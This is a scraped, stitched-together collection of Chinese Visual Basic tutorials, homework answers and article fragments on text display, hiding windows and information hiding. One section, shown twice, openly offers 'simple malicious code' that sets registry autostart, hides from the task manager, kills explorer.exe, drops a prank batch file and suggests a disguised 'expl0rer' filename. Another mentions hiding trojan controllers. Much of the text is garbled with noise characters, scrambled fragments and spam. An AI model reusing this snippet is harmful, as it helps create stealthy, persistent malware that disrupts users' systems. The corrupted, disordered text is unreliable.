VB作业-显示隐藏文本
VB程序中的文本处理
在Visual Basic的内部控件中，用于显示文本的内部控件主要有标签控件和文 本框控件。文本框控件主要用于文本的交互式输入输出。 在Visual Basic中，标签控件用来记录要显示的文本信息的属性是Caption。 对Caption属性赋不同的值，它就显示不同的内容。许多控件都具有Caption 属性，它的作用是显示控件的标题。窗体对象的Caption属性就代表了在窗 体的标题栏上显示的标题。 在Visual Basic的属性窗口中，把光标移到这个属性右边的框中，便可以输入 内容了。 要使程序界面更加专业，还必须要设置标签的其它属性，包括背景颜色、前 景颜色、背景类型、字体设置等。 单击属性窗口里的Back Color或Fore Color属性，会出现一个颜色列表，可 以从中选择需要的颜色。标签的背景颜色决定了控件背景的颜色，其前景颜 色决定了标签中文本的颜色。为了不让背景颜色遮盖了整个程序的背景，可 以把标签的Back Style属性由Opaque设置为Transparent。设置方法是在属性 窗口中单击这个属性右侧的箭头按钮，然后从列表中选择需要的类型。或者 双击这个属性框，Visual Basic可以在各个不同的属性值之间进行切换。 标签的另一个重要的属性是Font属性。设置这个属性可以改变标签显示的文 本的字体，它的设置非常简便，类似于许多常用软件中的字体格式的设置。 单击属性窗口中的Font属性右边的省略号，会出现字体设置对话框，在这个 对话框中，可以改变标签显示的文本的字体、字号、样式以及有无下划线等 其它一些属性。
使用提示条的方法十分简单。在Visual
Basic中， 几乎所有的控件都有Tool Tip Text属性。在默 认状态下，这个属性的内容是空的。当需要的 时候，就可以在这个属性中填入字符串，那么， 在程序运行的时候，把鼠标移动到对应的控件 上稍作停留，这个字符串就会显示出来。 虽然这种方法实现起来比较简单，但是在实际 编程时是非常有用的。如果在一个比较复杂的 应用程序中，不给出提示条，用户使用起来肯 定会比较费事，特别是如果程序定义了自己特 色的工具栏的话。记住在自己的应用程序中加 入提示条，让程序看起来更专业些。Fra bibliotek
VB如何实现程序隐形
GoTo err:
. D$ s% G, p+ D" T9 Z0 i9 W, l4 iEnd If |1 e6 Y5 C8 \6 \, R; A% Q- ^6 T
VB如何实现程序隐形
在一些系统，为了特定目的，经常要求程序隐藏起来运行，例如DCS（集散控制系统）中的后台监控系统、木马控制程序、源码防拷贝等，以减少被发现、截杀和反汇编的风险。这种功能模块要求程序在运行期间不仅不会在桌面出现，也不允许被操作者从任务管理器列表中发现。
7 w$ }0 i" m( x8 F! Q9 E) g, U, L4 Kstrlabel = String(255, Chr(0)) : W) B( f- z }( N" x. J9 y* q3 a% s
strtype = String(255, Chr(0))
4 D+ o- M- u$ ?: c0 K; O- ~stemp3 = “172498135” ’这是作者C盘的序列号（十进制）,读者可根据自己情况更改。 # J% I8 G/ J3 q2 \' `) Z6 e: w. }
MsgBox (“HI，合法用户！”)
; d: L$ O6 N. |/ D+ h. R+ E* wExit Sub
- o/ f i: l) h) V: G) verr: * Z, ~8 C/ x' }
MsgBox (“错误!你的C：盘ID号是” & strc) 5 B9 g. \0 w3 H4 q7 {% ~
vb167_信息加密与隐藏工具的设计与实现讲解
分类号：TP309.2 U D C：D10621-408-(2007)5776-0 密级：公开编号：2003032028成都信息工程学院学位论文信息加密与隐藏工具的设计与实现论文作者姓名：张磊申请学位专业：网络工程申请学位类别：工学学士指导教师姓名（职称）：韩斌（副教授）论文提交日期：2007年06月10日信息加密与隐藏工具的设计与实现摘要当今时代，随着电脑的普及应用和互联网的快速发展，网络中露出的安全问题引起普遍关注，网络的安全，主要是网络信息安全，需要采取相应的保护措施，提供适合的安全服务，加密机制和信息隐藏技术作为保障网络信息安全的手段，可以保证信息的完整性、可鉴别性和不可否认性。
在一些应用中，它只需要让指定接受人来验证，以确保信息的秘密性。
本文主要研究了信息加密与隐藏技术，介绍信息安全的应用前景，通过掌握的知识来实现一个简单信息加密与隐藏工具，包含加密和信息隐藏的功能，处理的对象主要是针对文本和图片两种文件格式，使用简单的对称加密算法对文本进行加密，而在图片中隐藏另外一张图片信息。
该设计旨在理解信息加密与隐藏技术在实际生活中的应用，从总体上阐述了它们的原理。
另外，本设计成果可用于教学实验中。
关键词：安全；加密；信息；隐藏The Design and Implementation of an InformationEncryption and Hiding ToolAbstractIn modern times, with the universal application of computers and rapid development of the Internet, more people have paid attention to the security issues in the Internet. The security issues mainly refer to network information security, so it needs some protection measures and provides appropriate security services. As the protection measures of information security, the encryption and information hiding technology provides the functions of integration, authentication, and non-repudiation for the signing message. In some applications, it only needs to be verified by some recipients while keeping the message secret from public. This paper mainly researches the information encryption and hiding technology and introduces the application prospects of the information security. Based on the acquired knowledge, a simple information encryption and hiding tool is designed, and it provides the functions of encryption and information hiding, and the handing object refers to the text and picture. The symmetric encryption algorithm is applied into the text encryption while a picture is hidden in another picture. The purpose of this design is to make the application of information encryption and hiding in real life understood, as well as to describe the principles of the technology on the whole. In addition, the designing result can be applied into the teaching and experiments.Key words: security; encryption; information; hiding目录论文总页数：23页1引言 (1)1.1课题背景 (1)1.2本课题研究意义 (1)2信息隐藏技术 (1)2.1信息隐藏简介 (1)2.2信息隐藏技术的分类 (2)2.3信息隐藏关键技术 (3)2.4信息隐藏的应用领域 (3)3加解密相关技术 (4)3.1密码学知识 (4)3.1.1密钥和算法 (4)3.1.2对称密钥算法 (4)3.1.3非对称密钥算法 (5)4实现一个信息加密与隐藏工具 (6)4.1设计思路 (6)4.1.1界面设计思路 (6)4.1.2信息加密设计思路 (6)4.1.3信息隐藏设计思路 (6)4.2设计流程 (6)4.2.1信息加密流程 (6)4.2.2信息隐藏流程 (7)4.2.3信息解密流程 (7)4.2.4隐藏信息提取流程 (7)4.3设计前言 (8)4.3.1设计工具 (8)4.3.2已有设计条件 (8)4.3.3设计目的 (8)4.4信息加密与隐藏设计过程分析 (8)4.4.1信息加密 (8)4.4.2信息隐藏 (11)4.5解密与隐藏信息提取设计过程分析 (15)4.5.1文本信息的解密 (15)4.5.2隐藏信息的提取 (16)4.6实例运行与测试 (18)4.6.1信息加密与隐藏过程 (18)4.6.2解密与隐藏信息提取过程 (19)结论 (21)参考文献 (21)致谢 (22)声明 (23)1引言1.1课题背景当今时代，随着电脑的普及应用和互联网的快速发展，网络已经融入人们的生活之中，网络中露出的安全问题引起普遍关注，网络的开放性与共享性也导致了网络的安全性受到严重影响，在开放的Internet平台上，社会生活中传统的犯罪和不道德行为将变得更加隐蔽和难以控制。
VB开发记事本的功能(文本文档 (
VB开发记事本的功能（文本文档 (.txt) ）功能：VB开发记事本的功能（文本文档 (.txt) ），使其具有记事本的各块功能VB界面如下：图二1.电脑上必须要先Microsoft Visual Studio(也就是VB软件)2.用VB软件设置窗口如上（图二）3.各个Command对应的VB代码如下：' 初始化Private Sub Form_Load()' 设置当前路径ChDir App.PathChDrive App.Path' 设置文本框的位置txtEdit.Move 0, 0' 初始Filename变量FileName = "Untitled"FileType = 1' 设置窗体位置Top = Screen.Height / 2 - Height / 2 Left = Screen.Width / 2 - Width / 2 End Sub' 改变窗口大小Private Sub Form_Resize()' 窗体大小改变时，相应的改变文本框大小 txtEdit.Width = ScaleWidthtxtEdit.Height = ScaleHeightEnd Sub' “文件”菜单Private Sub mnuFileItem_Click(Index As Integer)On Error GoTo errhandler' 设置过滤器CMDialog1.Filter = "All Files (*.*)|*.*|Text Files (*.txt)|*.txt|RTF Files (*.rtf)|*.rtf"' 设置缺省过滤器CMDialog1.FilterIndex = 2Select Case Index' 根据菜单的索引选择相应的操作Case 0' 如果index = 0, 新建文本文件txtEdit.Text = "" '清空文本框内容FileName = "Untitled"frmEditor.Caption = "记事本: " & FileName '设置记事本标题为 "记事本: Untitled"Case 1' 如果index = 1, 打开文本文件' 显示"打开"对话框CMDialog1.ShowOpenFileName = CMDialog1.FileNameOpenFile (FileName)Case 2' 如果index = 2, 保存文件If FileName = "Untitled" Then'如果文件尚未命名，则显示保存对话框 CMDialog1.ShowSaveFileName = CMDialog1.FileNameWriteFile (FileName)Else'否则直接保存SaveFile (FileName)End IfCase 3' 如果index = 3,另存文件' 显示另存对话框CMDialog1.ShowSaveFileName = CMDialog1.FileNameWriteFile (FileName)Case 4' 无操作，分隔Case 5EndEnd Selecterrhandler:' 错误处理Exit SubEnd Sub' “文件”菜单中的历史文件列表菜单Private Sub mnuFileArray_Click(Index As Integer)' 打开选择的文件If Index >= 0 ThenOpenFile (mnuFileArray(Index).Caption) End IfEnd Sub' 设置“编辑”菜单中子菜单的状态Private Sub mnuEdit_Click()' 如果没有选中文本则使剪切和复制不可用mnuEditItem(0).Enabled = (txtEdit.SelLength > 0) mnuEditItem(1).Enabled = (txtEdit.SelLength > 0)End Sub' “编辑”菜单Private Sub mnuEditItem_Click(Index As Integer)Select Case IndexCase 0' 如果 Index = 0, 剪切选中文本Clipboard.ClearIf FileType = 0 Then ' 剪切选择的文本到Clipboard中.Clipboard.SetText txtEdit.SelRTFtxtEdit.SelRTF = "" ' 清除选中的文本ElseClipboard.SetText txtEdit.SelTexttxtEdit.SelText = "" ' 清除选中的文本End IfCase 1' 如果 Index = 1, 复制选中文本Clipboard.ClearIf FileType = 0 Then ' 复制选择的文本到Clipboard中Clipboard.SetText txtEdit.SelRTFElseClipboard.SetText txtEdit.SelTextEnd IfCase 2' 如果 Index = 2, 粘贴文本txtEdit.SelText = Clipboard.GetText() ' 粘贴文本Case 3' 菜单分隔符Case 4, 5' 如果 Index = 4 5, 查找替换frmFind.Show 0, frmEditorCase 6' 菜单分隔符Case 7' 如果 Index = 4, 全选txtEdit.SelStart = 0txtEdit.SelLength = Len(txtEdit.Text) End SelectEnd Sub' “设置”菜单Private Sub mnuSettingsItem_Click(Index As Integer) On Error GoTo errhandlerSelect Case IndexCase 0' 设置字体CMDialog1.Flags = cdlCFBothCMDialog1.ShowFont '显示“字体”对话框With txtEdit.SelFontName = CMDialog1.FontName.SelBold = CMDialog1.FontBold.SelItalic = CMDialog1.FontItalic.SelFontSize = CMDialog1.FontSize.SelUnderline = CMDialog1.FontUnderline.SelStrikeThru = CMDialog1.FontStrikethruEnd WithCase 1' 设置字体颜色CMDialog1.ShowColor '显示“颜色”对话框txtEdit.SelColor = CMDialog1.ColorEnd Selecterrhandler:' 错误处理Exit SubEnd Sub运行VB时，需要先打开SolidWorks一个新零件窗口，然后运行VB,点击界面按钮即可运行结果：完美实现对应功能。
vb程序设计项目化教程-项目3 制作阴影文字解析
3.3 第3步：程序代码
编程思路：阴影字的实现是通过文字的位置和颜色调 整来实现文字的阴影效果，对两个同样内容的文字， 分别设置不同的颜色，位置稍稍有一些差异，就能显
示出阴影的效果，通常情况下，我们把阴影的颜色设 置为黑色，前面字体的颜色随意设置，让两者的位置 保持一定的差异，即可实现不同角度的阴影效果。
例如：Form2.Show，表示显示Form2窗体，Form1.Hide表示隐 藏Form1，如果Form1是当前窗体，可以使用me.Hide来隐藏当 前窗体。
中国水利水电出版社
《VB程序设计项目化教程》
3.1 第1步：基础知识概述
3.1.4 事件 VB是事件驱动的编程机制。所谓“事件驱动”是说只有在事件发生时，程序才能 执行，在没有事件时，整个程序是不执行的。就像是客观世界的任何对象都会对 外界的刺激做出反应一样，当用户激发出一个事件后，就会产生一个事件过程， 执行一段程序代码，而且同一对象对不同的刺激也会产生不同的反应，当一个对 象身上发生不同的事件后，也会引起不同的事件过程。总之，一个对象可以有多 个事件，各个事件对应不同的代码，实现不同的功能。 “事件”是预先定义好的、能够被对象识别的动作。如单击（ Click）事件、双击 （Dbclick）事件、装载（Load）事件、鼠标移动（MouseMove）事件等。不 同的对象能够识别不同的事件。当事件发生时，VB将检测两条信息：即发生了什 么事件和哪个对象接受了事件。 为了使对象能够对由用户或系统触发的某一事件做出响应，就必须编写事件过程。 响应某个事件后所执行的操作可以通过一段程序代码来实现，这段独立的程序代 码就是“事件过程”。事件过程在对象检测到某个特定事件时执行。一个对象可 以识别一个或多个事件，因此可以用一个或多个事件过程对用户的事件做出响应。
vb操作word详解
vb操作word详解Visual Basic支持一个对象集合，该集合中的对象直接对应于Microsoft Word 97中的元素，并且通过用户界面，用户熟悉这些元素中的绝大多数。
例如，Document 对象代表了一个打开的文档，Bookmark对象代表了一个文档中的书签，而Selection对象则代表了在一个文档窗口窗格中的选定内容。
在Word中，每一类元素－文档、表格、段落、书签、域等等－都可以用Visual Basic的对象来表示。
要在Word中自动执行任务，可以使用这些对象的方法和属性。
关于理解和使用Microsoft Office 97对象模型的一般性内容，请参阅本书的第二章“理解对象模型”。
在Microsoft Office 97中的对象模型相当丰富，其中包含了大约180个对象。
要查看Word对象模型的层次关系图，请参阅“帮助”中的“Microsoft Word 对象”。
要获得对某种特定对象的详细描述，可以在此图中单击该对象的名字，或是在“帮助”的索引中对特定对象进行搜索。
怎样显示Word Visual Basic帮助要使用Word Visual Basic帮助，必须在安装过程中选择“自定义”的安装方式，并且为Word选中“Visual Basic在线帮助”复选框。
否则，安装程序不会安装Visual Basic帮助。
如果用户已经安装好了Word，那么可以再次运行Setup程序来安装Visual Basic帮助。
要查看Word Visual Basic 帮助，可以在“Visual Basic 编辑器里的“帮助”菜单中点击“目录和索引”一项。
在“帮助主题”对话框的“目录”一表中，双击“Microsoft Word Visual Basic 参考”，然后再双击“Visual Basic 参考”。
“帮助主题”对话框会重新出现，显示出Microsoft Word Visual Basic的目录和索引。
VB课后作业
1.VB最突出的特点是：事件驱动编程机制。
2.VB集成环境的主窗口不包括状态栏。
3.f4激活属性窗口。
属性窗口的4各部分：对象框属性显示方式、属性列表、属性解释。
4.ctrl+F4,关闭窗口5.控件有3类：标准控件，activeX控件，可插入对象。
6.F7——打开代码窗口7.VB开发程序的三步：建立可视用户界面、设置可视界面特性、编写事件驱动代码。
8.控件和窗体的NAME属性是只读属性。
9.代码窗口：左栏：对象，右栏：过程。
10.VB的3个模块为：窗体，标准，类。
11.在窗体上画一个文本框和两个命令按钮，并把两个命令按钮的标题分别设置为“隐藏文本框”和“显示文本框”。
当单击第一个命令按钮时，文本框消失；当单击第二个命令按钮时，文本框重现。
并在文本框中显示“VB程序设计”（字体大小为16）。
答：command1 clickText1.visiable=falseCommand2 clickText2.visiable=true.Text2.fontsize=16Text2.text=”VB程序设计”12.VB中变量名只能以字母开始。
13.or and 取负。
14.Unicode与ANSI的转换函数是：strconv。
Unicode方式，西文，中文都为1个字符，占2个字节。
15.28°=（28/180）*3.1416.任何函数的参数，都要用括号括起。
17.表达式中不可以出现pai，用3.14表示18.乘号要用*代表19.平方：20.数字乘以字母，之间也得加*21.ln2：用（log(2)/log(e)）表示。
22.mid函数，参数是从第几个开始后的几个。
23.VB中字符串要用引号括起来，日期/时间要用井号括起来。
24.优先级：* / \25.print sgn(-6^2)+abs(-6^2)+int(-6^2) →-126.负号与平方一起时：先平方，再负号。
27.format（）。
#不需添0，而0需要添。
vbs通过右键显示隐藏文件
[HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000012}\Instance\InitPropertyBag]
"method"="ShellExecute"
"Param1"="C:\\WINDOWS\\SuperHidden.vbs"
WSHShell.SendKeys "{F5}+{F10}e"
'WSHShell.Popup "Here they are!", 1, sTitle2, vbInformation
end if
Set WSHShell = Nothing
WScript.Quit(0)
然后保存为“SuperHidden.vbs”注意不是txt，放在C:\WINDOWS目录
if WSHShell.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden") = 1 then
WSHShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", "0", "REG_DWORD"
打开记事本输入
'Show/Hide System Files by Herby
Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")
vb的隐藏方法
Print #1 , "echo 恭喜你中毒"
Print #1 , "echo. & pause"
close #1
x = shell("c:\windows\$$$.bat")
....... '这里不讨论这个问题,自由发挥,最后把文件名改为expl0rer等
For___________________
第3种-在任务管理器应用程序中隐藏
App.TaskVisible = False
_____________________________
于是就可以编写一个简单的恶意代码
Private Sub Form_Load
*/ 出自： 编程中国
*/ 作者： AV终结者 QQ：535843194
*/ 时间： 2007-11-4 编程论坛首发
*/ 声明： 尊重作者劳动，转载请保留本段文字
*/ --------------------------------------------------------------------------------------
第1种-关闭后到像迅雷一样隐藏
Private Sub Form_Queryunload(Cancel As Integer, unloadmode As Integer)
Cancel = True
Me.Hide
End Sub
_____________________________
第2种-直接隐藏
Form1.Visible = False
VB常见控件功能说明
VB 常用控件的属性及功能控件目录：Form(窗体)、PictureBox（图片框）、Label（标签）、TextBox（文本框）、Frame（框架）、CommandButton（命令按钮）、OptionButton（选项按钮）、ListBox （列表框）、Hscrollbar（水平滚动条）Vscrollbar（垂直滚动条）、Timer（时钟）、Shape （形状）、Line（直线）、Image（图片框）、OLE Container（OLE 容器）一、Form(窗体) 的常用属性及功能1. name（窗体名称）：为窗体指定一个名字。
2. Appearance：设置一个窗体是否运行时以3D 效果显示。
0—Flat：窗体以平面的形式显示，1—3D：窗体以3D 的形式显示(默认值)。
3. AutoRedraw：控制窗体的重画。
True：若其他窗口覆盖当前窗体再返回该再返回该窗体时，VB 将重画该窗体内的所有图形False：VB 必须调用一个事件过程才能完成重画。
4. BackColor：设置对象中文本和图形的背景色。
5. ForeColor：设置对象中文本和图形的前景色。
6. BorderStyle：为窗体等对象设置边框的式样。
0—None：窗体无边框1—FixedSingle：程序运行后窗体大小不被改变，单线边框2—Sizable：程序运行后窗体大小可以被改变，双线边框3—FixedDouble：程序运行后窗体大小不被改变，双线边框4—FixedToolWindo：程序运行后窗体大小可以被改变，单线边框5—SizableToolWindow：程序运行后窗体大小可以被改变。
7. Caption：设置窗体标题栏显示的文本。
8. Clipcontrols：设置Paint 事件的绘图方法—是重画整个对象还是重画新显示的区域。
True：重画整个对象False：重画新显示的区域。
9. ControlBox：运行程序时该属性有效。
VB第41、42课时(在窗体指定位置显示文本)
第41、42课时（总第42课时）课题：在窗体指定位置显示文本备课时间：2016.10.26 上课时间：教学目标：1、掌握窗体的常用属性2、掌握窗体的常用方法3、掌握窗体的常用事件教学重点：常用属性常用方法教学难点：常用事件教学方法：讲练结合法，演示法，任务驱动法教具：计算机、班班通投影仪设备教学过程：一、课前检测1、数学函数有哪些？2、日期时间函数有哪些？3、CLONG函数的功能是什么？二、新课<一>确定主题明确目标学习目标：1、掌握窗体的常用属性2、掌握窗体的常用方法3、掌握窗体的常用事件学习重难点：常用属性常用方法常用事件<二>依据提纲合作学习1、窗体的常用属性（1）Caption（2）Backcolor（3）Forecolor（4）Fontname（5）Fontsize（6）Currentx和currenty2、窗体的常用方法（1）P RINT（2）C LS3、窗体的常用事件（1）CLICK（2）LOAD4、窗体属性的设置有哪两种方法？5、哪一个属性不通能过代码来设置？6、解释下列VB颜色常数含义：（1）Vbblack（2）Vbred（3）Vbyellow（4）Vbcyan（5）Vbmagenta（6）Vbwhile（7）Vbblue<三>交流展示教师点拨各小组同学依据提纲内容认真研讨答案，并指派代表在班上进行回答，教师根据回答情况及时做出补充、纠正、点评。
<四>课堂训练信息反馈练习：1、设置窗体的前景色的属性是_________。
2、用于设置下一次打印或绘图方法的水平或垂直坐标的属性分别是_______和________。
3、用于设置字体大小的属性是________。
4、用于设置窗体标题的属性是_______。
<五>整理检测总结反思检测：1、在鼠标单击窗体的一个空白区或一个无效控件时发生________事件。
2、在窗体被载入时发生______事件。
如何在VB中制作不回显的文本框
如何在VB中制作不回显的文本框在应用程序中，有时需要用户录入一些不宜在屏幕上直接显示的内容，如用户口令或机密数据。
我们已熟知，在Foxbase/Foxpro中这一功能可以用SETCONSOLEOFF命令关闭向屏幕的回显来实现。
那么，在VisualBasicforWin-dows中如何做到这一点呢?一个容易想到的方法是利用文本框的Key-Press事件，但为了处理用户对文字的编辑(如删除、插入)，则还要再用其它变量存放真正输入的内容，而且必须书写大量复杂的控制程序。
实践证明，这种方法比较繁琐，不便使用。
笔者在用VB编程时发现，Windows文本框可以响应许多消息，那么，可不可以利用WindowsAPI 函数sendmessage将控制特性的消息传递给文本框呢?如果可行，则可以将使目标以密码形式输出的消息传递给文本框，不就可以制作出不回显文字的文本框了吗?答案是肯定的。
笔者使用以上思路实现了这一功能。
以下是程序中用到的几个API函数和有关的消息:getfocus():返回获得输入焦点的目标句柄;getwindowlong():取得指定目标的信息，第二个参数为GWL_STYLE时将返回目标的“风格”属性;setwindowlong():把新的属性值赋予指定的目标。
该函数的三个参数分别为目标的句柄、属性类型、新属性值;sendmessage():向目标发送一条消息。
该函数的四个参数分别为接收消息的目标句柄、消息、消息参数一、消息参数二;GWL_STYLE(程序中简写为STYLE):其值为-16，表示目标的“风格”;ES_PASSWORD(程序中简写为PASS)简写为PASS):其值为&H20，表示目标具有录入口令的属性，即在录入时不回显;EM_SETPASSWORDCHAR(程序中简写为PASSCHAR):其值为&H41C，表示传递密码特性。
用sendmessage向目标传递此消息成功，则目标会将自身的输出信息以指定的密码形式给出。
VB几种不同的隐藏方法
VB几种不同的隐藏方法第1种-关闭后到像迅雷一样隐藏Private Sub Form_Queryunload(Cancel As Integer, unloadmode As Integer)Cancel = TrueMe.HideEnd Sub_____________________________第2种-直接隐藏Form1.Visible = False_____________________________第3种-在任务管理器应用程序中隐藏App.TaskVisible = False_____________________________于是就可以编写一个简单的恶意代码Private Sub Form_LoadSet w = CreateObject("wscript.shell")w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" &App.EXEName, App.Path& "\" &App.EXEName& ".exe" '导入注册表,实现开机自动运行Form1.Visible = FalseApp.Taskvisible = FalseShell "taskkill /f /im explorer.exe ", vbHide '结束explorer.exe进程Open "c:\windows\$$$.bat" for Append As #1Print #1 , "@echo off"Print #1 , "echo 恭喜你中毒"Print #1 , "echo. & pause"close #1x = shell("c:\windows\$$$.bat")....... '这里不讨论这个问题,自由发挥,最后把文件名改为expl0rer等End Sub青岛男科医院|。
vb笔记
打印的结果为：15
【习题】在窗体（Name属性为Formal）上画两个文本框（其Name属性分别为Text1和Text2）和一个命令按钮（Name属性为Command1），然后编写如下两个事件过程：
Private Sub Command1_Click()
4、Resize：调整窗体的大小，都会触发一个Resize事件。
方法名称 说明
Print 在窗体上打印指定的文字
Cls 清除窗体的文字、图形
Hide 隐藏窗体
Show 显示窗体
Move 移动窗体(对象.Move Left[,Top[,width[,高度]]])
标签（Label）：用于放置说明性文字，作为提示作用。
End Sub
Private Sub Form_Click
Timer1.Enable= ture（2）
End Sub
Private Sub Timer1_Timer()
Label1.Caption= time （3）
End Sub
程序运行后，单击窗体，将在标签中显示当前时间，每隔1秒钟改变一次，请填空。 六、图形框、图片框（PictureBox）
打印结果：－1
整型－>逻辑型 0为False；非0为True Dim B as Boolean
B=0
Print B
打印结果：False
一、运算符
1、算术运算符和算术表达式
运算符 优先级 例 结果
^ （乘方） 1 ia ^ 2 9
- （负号） 2 -ia -3
* （乘法） 3 ia * ia 9
VB实验作业参考答案
1)单击窗体后在窗体上显示“您好！×××同学”。
要求：（1）程序中用自己的姓名替代“×××”。（2）文字以红色、仿宋体、加粗、三号字显示，并在字下加横线。（3）建立一个命令按钮，结束时单击此按钮退出。
答案参照课本P27的例1-6。
2)设计一窗体，窗体上有1个文本框（Text1）、1个命令按钮（Command1），运行时文本框中显示“Visual Basic程序设计”，命令按钮标题为“结束”，文本框及命令按钮能随窗体大小的调整而自动调整大小及位置，其中调整文本框使其：Left=0，Top=0，宽度和高度都为窗体的一半；命令按钮：始终位于窗体右下角位置。请编写：
Command1.Top = Form1.ScaleHeight - Command1.Height
End Sub
Private Sub Form_Resize()
Call Form_Load
End Sub
Private Sub Command1_Click()
End
Dim r1 As Single, r2 As Single, Rp As Single, Rs As Single
r1 = InputBox("请输入第一个电阻值：")
r2 = InputBox("请输入第二个电阻值：")
Rp = (r1 * r2) / (r1 + r2)
Rs = r1 + r2
程序代码：
Private Sub Command1_Click()
Dim sg As String, tz As String, bz As String
sg = Text1.Text
基于VBA文本框的Word文档水印的信息隐藏方法.kdh
的参与，可用于内容认证和篡改提示。
在二值图像中嵌入信息的两种基本方式为： 改变块内单
个像素的取值； 改变一组相关联的像素值。第一种方式将原
本为黑色的像素变成白色，或者相反。第二种方式与其不同
之处在于被改变的像素之间有一定的关联，比如某一毛画的
宽度、曲率以及相对位置等，这种方式与文档的文字类型有
关。而且后一种方式中可嵌入水印的像素个数有限，尤其在
［３］Ｊ． Ｚｈａｏ ａｎｄ Ｅ． Ｋｏｃｈ． Ｅｍｂｅｄｄｉｎｇ Ｒｏｂｕｓｔ Ｌａｂｅｌｓ ｉｎｔｏ Ｉｍａｇｅｓ ｆｏｒ Ｃｏｐｙｒｉｇｈｔ Ｐｒｏｔｅｃｔｉｏｎ． Ｐｒｏｃｅｅｄｉｎｇｓ ｏｆ ｔｈｅ Ｉｎｔｅｒｎａｔｉｏｎａｌ Ｃｏｎｇｒｅｓｓ ｏｎ Ｉｎｔｅｌｌｅｃｔｕａｌ Ｐｒｏｐｅｒｔｙ Ｒｉｇｈｔｓ ｆｏｒ Ｓｐｅｃｉａｌｉｚｅｄ Ｉｎｆｏｒｍａｔｉｏｎ， Ｋｎｏｗｌｅｄｇｅ ａｎｄ Ｎｅｗ Ｔｅｃｈｎｏｌｏｇｉｅｓ， Ｖｉｅｎｎａ， Ａｕｓｔｒｉａ， Ａｕｇｕｓｔ ２１～２５， １９９５： ２４２－２５１．
本文主要介绍目前常用的几种文档水印隐藏技术，然后 介绍了把需要隐藏的秘密信息通过加密后隐藏在Ｗｏｒｄ文本文 件中的一种实用有效的方法。 １ 常用的文档水印隐藏技术
文本文件可以分为两大类： 无格式的文本文件（如记事 本生成的Ｔｘｔ文件等）和有格式的文本文件（如写字板或Ｗｏｒｄ 生成的 Ｄｏｃ 文件等）。无格式的文本文件几乎不存在冗余，要 隐藏信息十分困难。目前基于文本的信息隐藏技术其载体大 部分都是选择有格式的文本文件。根据嵌入原理和载体形式 的不同，文档水印隐藏技术可以分为以下几类： 针对普通文 本文件的字移、行移、图像分块和字符特征的水印隐藏技术； 针对半色调图像以及ＰＤＦ文档的水印隐藏技术； 音乐领域内 的乐谱水印隐藏技术等等。本文主要介绍针对普通文本文件 的字移、行移、图像分块和字符特征的水印隐藏技术。